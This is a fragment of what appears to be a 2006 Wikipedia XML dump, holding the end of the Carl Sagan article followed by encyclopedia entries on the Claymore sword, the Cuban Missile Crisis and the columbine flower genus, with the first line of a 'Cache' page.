* [[Klumpke-Roberts Award]] of the [[Astronomical Society of the Pacific]] - 1974 
* [[Konstantin Tsiolkovsky Medal]] - [[Soviet Cosmonauts Federation]] 
* [[Locus Poll Award]] 1986 - ''[[Contact %28novel%29|Contact]]''
* [[Lowell Thomas Award]] - [[Explorers Club]] - 75th Anniversary
* [[Masursky Award]] - [[American Astronomical Society]]
* Peabody - 1980 - PBS series ''Cosmos''
* [[Public Welfare Medal]] - 1994 - [[National Academy of Sciences]]
* [[Pulitzer Prize|Pulitzer Prize for General Non-Fiction]] - 1978 - ''[[The Dragons of Eden]]''
* [[SF Chronicle Award]] - 1998 - ''[[Contact %28film%29|Contact]]''
* [[Carl Sagan Memorial Award]] - Named in his honor
* Named 99th &quot;[[Greatest American]]&quot; on the [[June 5]] [[2005]] &quot;Greatest American&quot; show on the [[Discovery Channel]].

==Related books and media==
*Appelle, Stuart: &quot;[[Urology]] and [[Academia]]: The UFO Phenomenon as a Scholarly Discipline&quot; (pages 7-30 in ''UFOs and Abductions: Challenging the Borders of Knowledge'', David M. Jacobs, editor; University Press of Kansas, 2000; ISBN)
*Clark, Jeromne: ''The UFO Book'' (1998)
* Sagan, Carl and Jonathon Norton Leonard and editors of Life, ''[[Planets]]''. Time, Inc., 1966
* Sagan, Carl and [[Iosif Samuilovich Shklovskii|I.S. Shklovskii]], ''[[Intelligent Life in the Universe]]''. Random House, 1966
* Sagan, Carl, ''[[Communication with Extraterrestrial Intelligence]]''. MIT Press, 1973
* Sagan, Carl, et. al. ''[[Mars and the Mind of Man]]''. Harper &amp; Row, 1973
* Sagan, Carl, ''[[Other Worlds]]''. Bantam Books, 1975
* Sagan, Carl, et. al. ''[[Murmurs of Earth: The Voyager Interstellar Record]]''. Random House, 1977
* Sagan, Carl et. al. ''[[The Nuclear Winter: The World After Nuclear War]]''. Sidgwick &amp; Jackson, 1985
* Sagan, Carl, ''[[Contact %28novel%29|Contact]]''. Simon and Schuster, 1985; Reissued August 1997 by Doubleday Books, ISBN 1568654243, 352 pgs
* Sagan, Carl and Richard Turco, ''[[A Path Where No Man Thought: Nuclear Winter and the End of the Arms Race]]''. Random House, 1990
* Sagan, Carl, ''[[The Dragons of Eden|The Dragons of Eden: Speculations on the Evolution of Human Intelligence]]''. Ballantine Books, December 1989, ISBN 0345346297, 288 pgs
* Sagan, Carl, ''[[Broca's Brain: Reflections on the Romance of Science]]''. Ballantine Books, October [[1993]], ISBN 0345336895, 416 pgs
* Sagan, Carl and Ann Druyan, ''[[Shadows of Forgotten Ancestors: A Search for Who We Are]]''. Ballantine Books, October 1993, ISBN 0345384725, 528 pgs
* Sagan, Carl and Ann Druyan, ''[[Comet]]''. Ballantine Books, February 1997, ISBN 0345412222, 496 pgs
* Sagan, Carl, ''[[Pale Blue Dot: A Vision of the Human Future in Space]]''. Ballantine Books, September 1997, ISBN 0345376595, 384 pgs
* Sagan, Carl and Ann Druyan, ''[[Billions &amp; Billions: Thoughts on Life and Death at the Brink of the Millennium]]''. Ballantine Books, June 1998, ISBN 0345379187, 320 pgs
* Sagan, Carl, ''[[The Demon-Haunted World|The Demon-Haunted World: Science as a Candle in the Dark]]''. Ballantine Books, March 1997, ISBN 0345409469, 480 pgs
* Sagan, Carl and  Jerome Agel, ''[[Cosmic Connection: An Extraterrestrial Perspective]]''. Cambridge University Press, [[January 15]] [[2000]], ISBN 0521783038, 301 pgs
* Sagan, Carl, ''[[Cosmos: A Personal Voyage|Cosmos]]''. Random House, [[May 7]] [[2002]], ISBN 0375508325, 384 pgs
*Westrum, Ron, &quot;Limited Access: Six Natural Scientists and the UFO Phenomenon&quot; (pages 30-55 in Jacobs)
* Zemeckis, Robert, ''[[Contact %28film%29|Contact]]''. Warner Studios, 1997, [http://us.imdb.com/Title?0118884 IMDB]
* Davidson, Keay, ''[[Carl Sagan: A Life]]''. John Wiley &amp; Sons, [[August 31]] [[2000]], ISBN 0471395366, 560 pgs
* Head, Tom (editor), ''[[Conversations with Carl Sagan]]''.  University Press of Mississippi, 2005, ISBN 1578067367, 170 pgs

==References==
# {{note|biographical}}{{note label|biographical|1|a}} For biographical information see '''''[[Carl Sagan: A Life in the Cosmos]]''''' by [[William Poundstone]]. Henry Holt &amp; Company ([[October 1]] [[1999]]) ISBN 0805057668
# {{note|science}} Much of Sagan's research in the field of planetary science is outlined by William Poundstone (see reference #1, above). Poundstone's biography of Sagan includes an eight page list of Sagan's scientific articles published from 1957 to 1998. Detailed information about Sagan's scientific work comes from the primary research articles. Example: Sagan, C., Thompson, W. R., and Khare, B. N. &quot;[[Titan: A Laboratory for Prebiological Organic Chemistry]],&quot; Accounts of Chemical Research, volume 25, page 286 (1992). There is commentary on this research article about Titan at [http://www.daviddarling.info/encyclopedia/T/Titanprebiotic.html The Encyclopedia of Astrobiology, Astronomy, and Spaceflight].
# {{note|nuclearwinter}} Turco RP, Toon OB, Ackerman TP, Pollack JB, Sagan C. &quot;[[Climate and smoke: an appraisal of nuclear winter]],&quot; [[Science (journal)|Science]], volume 247, pages 166-176 (1990). [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11538069&amp;dopt=Abstract PubMed abstract] | [http://links.jstor.org/sici?sici=0036-8075%2819900112%293%3A247%3A4939%3C166%3ACASAAO%3E2.0.CO%3B2-V JSTORE] link to full text article. Carl Sagan discussed his involvement in the political nuclear winter debates and his erroneous global cooling prediction for the Gulf War fires in his book, '''''[[The Demon-Haunted World]]'''''.
# {{note|marijuana}}{{note label|marijuana|4|a}} '''''[[Marihuana Reconsidered]]''''' by Lester, M.D. Grinspoon. Publisher: Quick American Archives (2nd edition; [[April 1]] [[1994]]) ISBN 0932551130. Sagan's [http://www.marijuana-uses.com/essays/002.html essay] is available online.
# {{note|Davidson}} '''''[[Carl Sagan: A Life]]''''' by Keay Davidson. John Wiley &amp; Sons ([[August 30]] [[1999]]) ISBN 0471252867
# {{note|drugnews}} [http://news.bbc.co.uk/1/hi/sci/tech/475954.stm BBC news story] that includes mention of Sagan's marijuana use.
# {{note|2001ASO}} &quot;[http://enjoyment.independent.co.uk/film/news/article321643.ece  2001: The secrets of Kubrick's classic]&quot; by Anthony Barnes ([[23 October]] [[2005]]). 
# {{note|apple}} An account of this lawsuit is given in '''''[[Carl Sagan: A Life in the Cosmos]]''''', pages 363-364 and 374-375.
# {{note|God}} A similar quote can be found in Chapter 23 of Sagan's book '''''[[Broca's Brain]]'''''. &quot;Some people think God is an outsized, light-skinned male with a long white beard, sitting on a throne somewhere up there in the sky, busily tallying the fall of every sparrow. Others - for example [[Baruch Spinoza]] and [[Albert Einstein]] - considered God to be essentially the sum total of the physical laws which describe the universe. I do not know of any compelling evidence for anthropomorphic patriarchs controlling human destiny from some hidden celestial vantage point, but it would be madness to deny the existence of physical laws.&quot;

==External links==
{{wikiquote}}
{{Commons|Carl Sagan}}
* [http://www.skeptic.com/04.4.sagan-tribute.html In Memory of Carl Sagan]. Tributes by [[Tom McDonough]], [[James Randi]] and [[Michael Shermer]], and a selection of quotes from Sagan's works, published in ''[[Skeptic (magazine)|Skeptic]]'', Vol. 4, no. 4, 1996, pp. 10-17. 
* [http://www.carlsagan.com/ CarlSagan.Com]. Homepage of ''Cosmos Studios'', which sells the ''Cosmos'' series on DVD and VHS video tape.
* [http://www.news.cornell.edu/general/Dec96/saganobit.ltb.html Carl Sagan, Cornell astronomer, dies today ([[20 December]]) in Seattle]. [[Cornell University]] press release on Sagan's death.
* [http://usenet.net.nz/apod/ap961226.html Astronomy Picture of the Day: Carl Sagan]. [[December 26]] [[1996]].

*[http://www.marijuana-uses.com/essays/002.html Mr. X] - Sagan's essay in the 1971 book ''Marihuana Reconsidered''

*[http://www.coseti.org/klaescnt.htm Larry Klaes' in-depth analysis of the film and novel ''Contact'']

*[http://www.time.com/time/archive/preview/0,10987,925115,00.html &quot;Big Bang Bust&quot; TIME magazine, [[December 14]] [[1981]]]

*[http://www.bigear.org/vol1no2/sagan.htm &quot;The Quest for Extraterrestrial Intelligence&quot; Cosmic Search Magazine Vol. 1 No. 2, March 1979]

*[http://www.sciencenter.org/SaganPW/ Carl Sagan Planet Walk]

*[http://sagan.lsr1.com Sagan] The electronic music group

*[http://science.discovery.com/convergence/cosmos/cosmos.html 25th Anniversary Rebroadcast of Cosmos on The Science Channel]

*[http://www.csicop.org/si/2005-07/sagan.html Carl Sagan Takes Questions]

[[Category:1934 births|Sagan, Carl]]
[[Category:1996 deaths|Sagan, Carl]]
[[Category:American astronomers|Sagan, Carl]]
[[Category:Planetary scientists|Sagan, Carl]]
[[Category:Humanists|Sagan, Carl]]
[[Category:Jewish American writers|Sagan, Carl]]
[[Category:Jewish-American scientists|Sagan, Carl]]
[[Category:Pulitzer Prize winners|Sagan, Carl]]
[[Category:Science fiction writers|Sagan, Carl]]
[[Category:Science writers|Sagan, Carl]]
[[Category:Skeptics|Sagan, Carl]]
[[Category:Cornell University faculty|Sagan, Carl]]

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  <page>
    <title>Claymore</title>
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'''Claymore''' is a term used to describe two distinct types of [[sword]]s used by [[Scottish people|Scottish]] warriors and soldiers. 

== Name ==
The name claymore is thought to be an anglicisation of ''claidheamh mòr'' - a [[Scottish Gaelic language|Gaelic]] term meaning &quot;big sword&quot;. However another theory suggests it comes from &quot;claidheamh da lamh&quot;, literally two-hand sword. ''Claidheamh'' is ultimately [[cognate]] with [[Latin]] ''[[gladius]]''.

== Two-handed (Highland) Claymore ==  
The [[two-handed sword|two-handed]] claymore was a large sword used in the [[Middle Ages|medieval]] period. It was used in the constant [[Scottish clan|clan]] warfare and border fights with the [[England|English]] from circa [[1300]] to [[1700]]. The last known battle in which it is considered to have been used in a significant number is [[Battle of Killiecrankie]] in [[1689]]. It was somewhat smaller than other two-handed swords of the era, and was widely feared because its lightness made it faster in combat than its European counterparts. The two-handed claymore seems to be an offshoot of Early Scottish medieval swords which had developed a distinctive style of a cross-hilt with downsloping arms that ended in spatulate swellings. 

The average claymore ran about 55 inches (1.4 m) in overall length, with a 13 inch (330 mm) grip and a 42 inch (1 m) blade. Fairly uniform in style, the sword was set with a wheel [[pommel]] often capped by a crescent shaped nut and a guard with straight, down-sloping arms ending in [[quatrefoil]]s and [[languet]]s running down the center of the blade from the guard.

== Basket-hilted Claymore ==
The second, later, sword to be designated claymore was a one-handed basket-hilted [[broadsword]] popular with Scottish troops from the [[18th century]] onwards, even seeing combat on the beaches of Normandy during WW2. The basket was designed to protect the hand in [[combat]]. This latter form of claymore can be seen in some forms of highland traditional dance as well as on the dress uniforms of [[British Army]] regiments drawn from the region. 

==See also==
* [[Broadsword]]
* [[Claymore mine]]s

==External links==
* [http://www.armor.com/2000/catalog/item100.html| Two-handed Claymore]

[[Category:European swords]]

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    <title>Cases of anthrax</title>
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  <page>
    <title>Cuban Missile Crisis</title>
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      <text xml:space="preserve">[[Image:Cubacrisis_17_Oct_1962.jpg|thumb|200px|right|[[U.S.A.F.]] spy photo of one of the suspected launch sites]]  	 
The '''Cuban Missile Crisis''' was a very tense confrontation between the [[Soviet Union]] and the [[United States]] over the Soviet deployment of [[nuclear weapon|nuclear missiles]] in [[Cuba]]. The period of greatest danger started on [[October 16]], [[1962]], when U.S. [[reconnaissance]] was shown to U.S. president [[John F. Kennedy]] which revealed evidence for Soviet [[nuclear weapon|nuclear missile]] installations in Cuba, and lasted for 13 days until [[October 28]], [[1962]], when Soviet leader [[Nikita Khrushchev]] announced the installations would be dismantled. It is regarded as the moment when the [[Cold War]] was closest to turning into a [[nuclear war]]. Never was humankind closer to the brink of collapse, at a time when only two men controlled the fate of the human race. Russians refer to the event as the &quot;'''Caribbean Crisis''',&quot; while Cubans refer to it as the &quot;'''October Crisis'''.&quot;

===U.S. missile sites in Turkey===
In 1961, the U.S. started deploying 15 [[Jupiter IRBM]] (intermediate-range ballistic missiles) nuclear missiles near [[İzmir]], [[Turkey]], which directly threatened cities in the western sections of the Soviet Union. These missiles were regarded by President [[John F. Kennedy]] as being of questionable strategic value; a [[nuclear submarine]] was capable of providing the same cover with both stealth and superior firepower. 

[[Premier of the Soviet Union|Soviet Premier]] [[Nikita Khrushchev]] had publicly expressed his anger at the Turkish deployment, and regarded the missiles as a personal affront. The deployment of missiles in Cuba &amp;mdash; the first time Soviet missiles were moved outside the USSR &amp;mdash; is commonly seen as Khrushchev's direct response to the Turkish missiles.

Soviet [[MRBM|Medium-Range Ballistic Missiles]] on Cuban soil, with a range of 2,000 [[kilometers|km]] (1,200 statute [[mile|miles]]), could threaten [[Washington, DC]] and around half of the U.S.'s [[Strategic Air Command|SAC]] bases (of nuclear-armed bombers), with a flight time of under twenty minutes. In addition, the U.S.'s radar warning systems oriented toward the USSR would have provided little warning of a launch from Cuba.

===Missile Deployment===
Khrushchev devised the deployment plan in May of [[1962]], and by late July over sixty Soviet ships were en route to Cuba, some of them already carrying military material. [[John McCone]], director of the CIA, warned [[John F. Kennedy|President Kennedy]] that some of the ships were probably carrying missiles; however, John and [[Robert Kennedy]], [[Dean Rusk]], and [[Robert McNamara]] concluded that the Soviets would not try such a thing. Kennedy's administration had received repeated claims from Soviet diplomats that there were no missiles in Cuba, nor any plans to place any, and that the Soviets were not interested in starting an international drama that might impact the US elections in November.

==The U-2 flights==
[[Image:cuban missiles.jpg|thumb|300px|right|Picture of one of the Soviet missile sites in Cuba.]]
A [[Lockheed U-2|U-2]] flight in late August photographed a new series of [[Surface-to-air missile|SAM]](surface-to-air missile) sites being constructed, but on [[September 4]], 1962 Kennedy told Congress that there were no ''offensive'' missiles in Cuba. On the night of [[September 8]], the first consignment of [[SS-4]] MRBMs was unloaded in [[Havana]], and a second shipload arrived on [[September 16]]. The Soviets were building nine sites &amp;mdash; six for [[SS-4]]s and three for [[SS-5]]s with a range of 4,000 km (2,400 statute miles). The planned arsenal was forty launchers, an increase in Soviet first strike capacity of 70%.

A number of unconnected problems meant that the missiles were not discovered by the US until a U-2 flight of [[October 14]] clearly showed the construction of an SS-4 site near [[San Cristobal]]. The photographs were shown to Kennedy on [[October 16]] [http://www.loc.gov/exhibits/archives/colc.html]. By [[October 19]] the U-2 flights (then almost continuous) showed four sites were operational. Initially, the U.S. government kept the information secret, telling only the fourteen key officials of the executive committee. The [[United Kingdom]] was not informed until the evening of [[October 21]]. President Kennedy, in a televised address on [[October 22]], announced the discovery of the installations and proclaimed that any nuclear missile attack from [[Cuba]] would be regarded as an attack by the [[Soviet Union]] and would be responded to accordingly. He also placed a naval &quot;[[quarantine]]&quot; ([[blockade]]) on Cuba to prevent further Soviet shipments of military weapons from arriving there. The word ''quarantine'' was used rather than ''blockade'' for reasons of [[international law]] (the blockade took place in international waters) and in keeping with the [[Quarantine Speech]] of [[1937]] by [[Franklin D. Roosevelt]]. Kennedy reasoned that a blockade would be an act of war (which was correct) and war had not been declared between the U.S. and Cuba.

==U.S. response==
With the news of the confirmed photographic evidence of Soviet missile bases in Cuba, President Kennedy convened a special group of senior advisers to meet secretly at the White House. This group later became known as the ExComm, or Executive Committee of the [[United States National Security Council|National Security Council]]. From the morning of October 16 this group met frequently to devise a response to the threat. The officials had discussed the various options. An immediate bombing strike was dismissed early on, as was a potentially time-consuming appeal to the [[United Nations]]. The real options for the ExComm were only military; the diplomatic ones barely considered and dismissed on the first day before even the real discussions started. The choice was reduced to either a naval [[blockade]] and an ultimatum, or full-scale invasion. A blockade was finally chosen, although there were a number of [[Hawkish|hawk]]s (notably [[Paul Nitze]], and Generals [[Curtis LeMay]] and [[Maxwell Taylor]]) who kept pushing for tougher action. An invasion was planned, and troops were assembled in [[Florida]]. However US intelligence was flawed: they believed Soviet and Cuban troop numbers on Cuba to be around 10,000 and 100,000, when they were in fact around 43,000 and 270,000 respectively  [http://www.jfklibrary.org/forum_cmc_021006.html]. Also, they were unaware of the 12 [[Luna]] [[tactical nuclear weapons]] already on the island, which could be launched on the authority of the Soviet commander on the island, [[Issa Pliyev|General Pliyev]], [http://www.mtholyoke.edu/acad/intrel/sovietanal.htm] in the event of an invasion. An invasion would therefore probably have invoked a nuclear strike against the invading force, with catastrophic results.

There were a number of issues with the naval blockade. There was legality - as [[Fidel Castro]] noted, there was nothing illegal about the missile installations; they were certainly a threat to the U.S., but similar missiles aimed at the U.S.S.R. were in place in [[Europe]] (sixty [[Thor (rocket)|Thor IRBM]]s in four squadrons near Nottingham, in the [[United Kingdom]]; thirty [[Jupiter IRBM]]s in two squadrons near Gioia del Colle, [[Italy]]; and fifteen [[Jupiter IRBM]]s in one squadron near [[İzmir]], [[Turkey]]). There was concern of the Soviet's reaction to the blockade; it might turn into escalating retaliation.

Kennedy spoke to the American public, and to the Soviet government, in a televised address on October 22. He confirmed the presence of the missiles in Cuba and announced the naval blockade as a quarantine zone of 500 nautical miles (926 km) around the Cuban coast. He warned that the military was &quot;prepared for any eventualities,&quot; and condemned the Soviet Union for &quot;secrecy and deception&quot;. The U.S. was surprised at the solid support from its European allies, although Britain's prime minister [[Harold Macmillan|Macmillan]], as well as much of the international community, did not understand why a diplomatic solution was not considered.

The case was conclusively proved on [[October 25]] at an emergency session of the [[UN Security Council]]. U.S. [[Ambassador]] [[Adlai Stevenson]] attempted to force an answer from Soviet Ambassador [[Valerian Zorin]] as to the existence of the weapons, famously demanding, &quot;Don't wait for the translation!&quot; Upon Zorin's refusal, Stevenson produced photographs taken by U.S. surveillance aircraft showing the missile installations in Cuba.

Khrushchev sent letters to Kennedy on [[October 23]] and 24 claiming the deterrent nature of the missiles in Cuba and the peaceful intentions of the Soviet Union; however, the Soviets had delivered two different deals to the United States government. On [[October 26]], they offered to withdraw the missiles in return for a U.S. guarantee not to invade Cuba or support any invasion. The second deal was broadcast on public radio on [[October 27]], calling for the withdrawal of U.S. missiles from [[Turkey]] in addition to the demands of the 26th. The crisis peaked on October 27, when a U-2 (piloted by [[Rudolph Anderson]]) was shot down over Cuba and another U-2 flight over Russia was almost intercepted when it strayed over Siberia, after [[Curtis LeMay]] (U.S. Air Force Chief of Staff) had neglected to enforce Presidential orders to suspend all overflights. At the same time, Soviet merchant ships were nearing the quarantine zone. Kennedy responded by publicly accepting the first deal and sending [[Robert Kennedy]] to the Soviet embassy to accept the second in private that the fifteen [[Jupiter IRBM | Jupiter missile]]s near [[İzmir]], [[Turkey]] would be removed. The Soviet ships turned back and on [[October 28]], Khrushchev announced that he had ordered the removal of the Soviet missiles in Cuba. The decision prompted then Secretary of State [[Dean Rusk]] to comment, &quot;We went eyeball to eyeball, and the other fellow just blinked.&quot;

Satisfied that the Soviets had removed the missiles, President Kennedy ordered an end to the quarantine of Cuba on [[November 20]].

==Aftermath==
The compromise satisfied no one, though it was a particularly sharp embarrassment for Khrushchev and the Soviet Union, who were seen as retreating from circumstances that they had started, whilst, if played well, it could have looked like just the opposite; the USSR gallantly saving the world from nuclear holocaust by not insisting on restoring the nuclear equilibrium. Khrushchev's fall from power two years later can be partially linked to [[Politburo of the CPSU Central Committee|Politburo]] embarrassment at both Khrushchev's eventual concessions to the US and his ineptitude in precipitating the crisis in the first place.

U.S. military commanders were not happy with the result either. General LeMay told the President that it was &quot;the greatest defeat in our history&quot; and that the US should invade immediately.

For Cuba, it was a betrayal by the Soviets whom they had trusted, given that the decisions on putting an end to the crisis had been made exclusively by Kennedy and Khrushchev.

In early 1992 it was confirmed that Soviet forces in Cuba had, by the time the crisis broke, received tactical nuclear warheads for their [[artillery]] [[rocket|rockets]], and [[Ilyushin Il-28|IL-28 bombers]] [http://www.armscontrol.org/act/2002_11/cubanmissile.asp], though [[Anatoly Gribkov|General Anatoly Gribkov]], part of the Soviet staff responsible for the operation, stated that the local Soviet commander, General [[Issa Pliyev]], had predelegated authority to use them if the U.S. had mounted a full-scale invasion of Cuba. Gribkov misspoke: the Kremlin's authorization remained unsigned and undelivered.

The short time span of the Cuban Missile Crisis and the extensive documentation of the decision-making processes on both sides makes it an excellent case study for analysis of state decision-making. In the ''[[Essence of Decision]]'',  [[Graham T. Allison]] and [[Philip D. Zelikow]] use the crisis to illustrate multiple approaches to analyzing the actions of the state. The intensity and magnitude of the crisis also provides excellent material for [[drama]], as illustrated by the  [[films|movies]] ''[[The Missiles of October(film)|The Missiles of October]]'' ([[1974]]), a television [[docudrama]] directed by [[Anthony Page]] and starring [[William Devane]], [[Ralph Bellamy]], [[Howard Da Silva]] and [[Martin Sheen]], and ''[[Thirteen Days (film)|Thirteen Days]]'' ([[2000]]), directed by [[Roger Donaldson]] and starring [[Kevin Costner]], [[Bruce Greenwood]] and [[Steven Culp]]. It was also a substantial part of the [[2003]] documentary [[The Fog of War: Eleven Lessons from the Life of Robert S. McNamara|The Fog Of War]], which won an [[Oscar Awards|Oscar]].

In October 2002, McNamara and Schlesinger joined a group of other dignitaries in a &quot;reunion&quot; with Castro in Cuba to continue to release classified documents and further study the crisis. It was during the first meeting that Secretary McNamara first discovered that Cuba had many more missiles than initially expected, and what McNamara refered to as 'rational men' (Castro and Khruschev) were perfectly willing to start a nuclear war over the crisis. Furthermore, it was revealed at this conference that an officer aboard a Soviet submarine, named [[Vasili Alexandrovich Arkhipov]], may have single-handedly prevented the initiation of a nuclear catastrophe [http://www.news.telegraph.co.uk/news/main.jhtml?xml=/news/2002/10/14/wcuba14.xml]. The reported details of this event are remarkably similar to the plot from the [[film|movie]] ''[[Crimson Tide (film)|Crimson Tide]]'' ([[1995]]), except that the roles of the Americans and Soviets are reversed.

==See also==
* [[International crisis]]
* [[Brinkmanship]]
*''[[Thirteen Days]]''
*''[[The Fog of War: Eleven Lessons from the Life of Robert S. McNamara]]''

==Further reading==
*Allison, Graham and Zelikow, P. ''Essence of Decision: Explaining the Cuban Missile Crisis.'' New York: Longman, 1999.
*Blight, James G., and David A. Welch. ''On the Brink: Americans and Soviets Reexamine the 	Cuban Missile Crisis.'' New York: Hill and Wang, 1989.
*Brugioni, Dino A. ''Eyeball to Eyeball: The Inside Story of the Cuban Missile Crisis.'' New York:	Random House, 1991.
*Divine, Robert A. ''The Cuban Missile Crisis.'' New York: M. Wiener Pub.,1988.
*Fursenko, Aleksandr, and Naftali, Timothy; ''One Hell of a Gamble - Khrushchev, Castro and Kennedy 1958-1964''; W.W. Norton (New York 1998)
*Giglio, James N. ''The Presidency of John F. Kennedy.'' Lawrence, Kansas, 1991.
*Gonzalez, Servando ''The Nuclear Deception: Nikita Khrushchev and the Cuban Missile Crisis;'' IntelliBooks, 2002 ISBN: 0-9711391-5-6
*Kennedy, Robert F. ''Thirteen Days: A Memoir of the Cuban Missile Crisis;'' ISBN 0-3933183-4-6
*May, Ernest R., and Philip D. Zelikow., eds. ''The Kennedy Tapes: Inside the White House During the Cuban Missile Crisis.'' Concise Edition. New York: W.W. Norton, 2001.
*Nuti, Leopoldo (ed.) ''I «Missili di Ottobre»: La Storiografia Americana e la Crisi Cubana dell’Ottobre 1962'' Milano: LED, 1994.
*Thompson, Robert S., ''The Missile of October: The Declassified Story of John F. Kennedy and the Cuban Missile Crisis''.
*Diez Acosta, Tomás, ''October 1962: The 'Missile' Crisis As Seen From Cuba.'' Pathfinder Press, New York, 2002.
*Bamford, James, ''Body of Secrets: Anatomy of the Ultra-Secret National Security Agency'' Anchor Books, 2002.

==External links==
* [http://www.gwu.edu/~nsarchiv/nsa/cuba_mis_cri/index.htm Declassified Documents, etc.] - Provided by the [[National Security Archive]].
* [http://www.whitehousetapes.org/pages/trans_jfk2.htm Transcripts and Audio of ExComm meetings] - Provided by the [http://www.whitehousetapes.org Miller Center's Presidential Recordings Program, University of Virginia].
* [http://www.armscontrol.org/act/2002_11/cubanmissile.asp#mcnamara Forty Years After 13 Days] - Robert S. McNamara.
* [http://www.hpol.org/jfk/cuban/ Tapes of debates between JFK and his advisors during the crisis]
* [http://www.latinamericanstudies.org/missile.htm Cuban Missile Crisis Reunion, October 2002]
* [http://www.jfklibrary.org/cmc_exhibit_2002.html The World On the Brink: John F. Kennedy and the Cuban Missile Crisis]
* [http://library.thinkquest.org/11046/ 14 Days in October: The Cuban Missile Crisis] - a site geared toward high-school students
*[http://www.nuclearfiles.org/menu/key-issues/nuclear-weapons/history/cold-war/cuban-missile-crisis/ Nuclear Files.org] Introduction, timeline and articles regarding the Cuban Missile Crisis

{{Cold War}}

[[Category:Cold War]]
[[Category:Cuban-American relations]]
[[Category:History of Cuba]]
[[Category:History of foreign relations of the United States]]
[[Category:Cold War military history of the Soviet Union]]
[[Category:Nuclear weapons of the United States]]

[[ca:Crisi dels míssils de Cuba]]
[[cs:Karibská krize]]
[[da:Cubakrisen]]
[[de:Kubakrise]]
[[es:Crisis de los misiles de Cuba]]
[[fr:Crise des missiles de Cuba]]
[[it:Crisi dei missili di Cuba]]
[[he:משבר הטילים בקובה]]
[[hu:Kubai rakétaválság]]
[[nl:Cubacrisis]]
[[ja:キューバ危機]]
[[no:Cubakrisen]]
[[pl:Kryzys kubański]]
[[pt:Crise dos mísseis de Cuba]]
[[ro:Criza rachetelor cubaneze]]
[[rm:Crisa dals missils da Cuba]]
[[ru:Карибский кризис]]
[[sk:Kubánska kríza]]
[[sl:Kubanska raketna kriza]]
[[fi:Kuuban ohjuskriisi]]
[[sv:Kubakrisen]]
[[zh:古巴导弹危机]]</text>
    </revision>
  </page>
  <page>
    <title>Columbine</title>
    <id>6828</id>
    <revision>
      <id>39883652</id>
      <timestamp>2006-02-16T15:23:16Z</timestamp>
      <contributor>
        <ip>61.123.31.42</ip>
      </contributor>
      <text xml:space="preserve">:''For other uses of this name, see [[Columbine (disambiguation)]]. For the Columbine school shootings, see [[Columbine High School massacre]]''.
{{Taxobox
| color = lightgreen
| name = Columbine
| image = Yellow columbine close.jpg
| image_width = 250px
| image_caption = Yellow columbine
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Ranunculales]]
| familia = [[Ranunculaceae]]
| genus = '''''Aquilegia'''''
| subdivision_ranks = Species
| subdivision = 
''Aquilegia	barnebyi	''&lt;br /&gt;
''Aquilegia	brevistyla	''&lt;br /&gt;
''Aquilegia	buergeriana	''&lt;br /&gt;
''Aquilegia	caerulea	''&lt;br /&gt;
''Aquilegia	canadensis	''&lt;br /&gt;
''Aquilegia	chrysantha	''&lt;br /&gt;
''Aquilegia	desertorum	''&lt;br /&gt;
''Aquilegia	elegantula	''&lt;br /&gt;
''Aquilegia	eximia	''&lt;br /&gt;
''Aquilegia	flabellata	''&lt;br /&gt;
''Aquilegia	flavescens	''&lt;br /&gt;
''Aquilegia	formosa	''&lt;br /&gt;
''Aquilegia	grahamii	''&lt;br /&gt;
''Aquilegia	jonesii	''&lt;br /&gt;
''Aquilegia	karelini	''&lt;br /&gt;
''Aquilegia	laramiensis	''&lt;br /&gt;
''Aquilegia	longissima	''&lt;br /&gt;
''Aquilegia	micrantha	''&lt;br /&gt;
''Aquilegia	pubescens	''&lt;br /&gt;
''Aquilegia	saximontana	''&lt;br /&gt;
''Aquilegia	scopulorum	''&lt;br /&gt;
''Aquilegia	schockleyi	''&lt;br /&gt;
''Aquilegia	triternata	''&lt;br /&gt;
''Aquilegia	vulgaris	''
}}
The '''columbines''' are a [[genus]] '''''Aquilegia''''' of about 70 species of [[perennial]]s that are found in [[meadow]]s, [[woodland]]s, and at higher altitudes throughout the [[northern hemisphere]]. They are known for their distinctive flowers, generally bell-shaped, with each petal modified into an elongated nectar spur.

Several species are grown in [[gardens]]; the [[European Columbine]], ''Aquilegia vulgaris'', is a traditional garden flower in [[British Isles|Britain]], and several of the species that are native to [[North America]] are popular garden plants there.

Columbines are used as food plants by some [[Lepidoptera]] species including [[Cabbage Moth]], [[Dot Moth]], [[Engrailed|The Engrailed]] and [[Mouse Moth]].

Species include:
*[[Oil Shale Columbine]] ''Aquilegia barnebyi''
*[[Smallflower Columbine]] ''Aquilegia	brevistyla''
*[[Colorado blue Columbine]] ''Aquilegia caerulea''
*[[Wild Columbine]] Canadian	columbine,	red	columbine		''Aquilegia	canadensis	''
*	[[Golden Columbine]]						''Aquilegia	chrysantha	''
*	[[Desert Columbine]]						''Aquilegia	desertorum	''
*	[[Western Red Columbine]]						''Aquilegia	elegantula	''
*	[[Van Houtte's Columbine]]						''Aquilegia	eximia	''
*	[[Yellow Columbine]]						''Aquilegia	flavescens	''
*	[[Crimson Columbine]]	western	columbine				''Aquilegia	formosa	''
*	[[Graham's Columbine]]						''Aquilegia	grahamii	''
*	[[Jones's Columbine]]						''Aquilegia	jonesii	''
*	[[Laramie Columbine]]						''Aquilegia	laramiensis	''
*	[[Longspur Columbine]]						''Aquilegia	longissima	''
*	[[Mancos Columbine]]						''Aquilegia	micrantha	''
*	[[Sierra Columbine]]						''Aquilegia	pubescens	''
*	[[Rocky Mountain Columbine]]						''Aquilegia	saximontana	''
*	[[Blue Columbine]]	Utah	columbine				''Aquilegia	scopulorum	''
*	[[Chiricahua Mountain Columbine]]						''Aquilegia	triternata	''
*	[[European Columbine]]						''Aquilegia	vulgaris	''
			
[[Category:Flowers]]
[[Category:Ranunculales]]

[[da:Akeleje]]
[[de:Akeleien]]
{{Link FA|de}}
[[eo:Akvilegio]]
[[fr:Ancolie]]
[[it:Aquilegia]]
[[ja:オダマキ]]
[[nl:Akelei]]
[[sv:Aklejor]]</text>
    </revision>
  </page>
  <page>
    <title>Cache</title>
    <id>6829</id>
    <revision>
      <id>42122350</id>
      <timestamp>2006-03-03T23:40:37Z</timestamp>
      <contributor>
        <username>Lmendo</username>
        <id>175297</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">:''For other uses, see  [[Cache (disambiguation)]] or [[caché]].''
{{wiktionarypar|cache}}
